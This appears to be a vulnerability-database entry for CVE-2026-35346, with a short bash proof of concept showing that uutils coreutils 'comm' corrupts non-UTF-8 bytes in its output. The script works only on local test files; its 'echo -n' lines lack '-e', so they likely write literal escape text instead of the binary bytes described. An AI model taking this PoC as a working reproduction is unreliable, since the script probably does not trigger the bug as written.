CVE-2026-35346 uutils coreutils数据损坏漏洞

#!/bin/bash # PoC for CVE-2026-35346: uutils coreutils comm data corruption # Create two files with identical non-UTF-8 binary sequences echo -n "Valid Text\n\xff\xfe" > file1.txt echo -n "Valid Text\n\xff\xfe" > file2.txt echo "[+] Generated test files with binary content." # Run uutils comm (assuming 'comm' is the uutils version) # In a real scenario, ensure the path points to the vulnerable binary echo "[+] Running uutils comm..." comm file1.txt file2.txt > output_corrupted.txt echo "[+] Output hexdump (should show replacement chars if vulnerable):" xxd output_corrupted.txt # Compare with GNU comm behavior (which preserves bytes) echo "[+] For comparison, GNU comm preserves the raw bytes."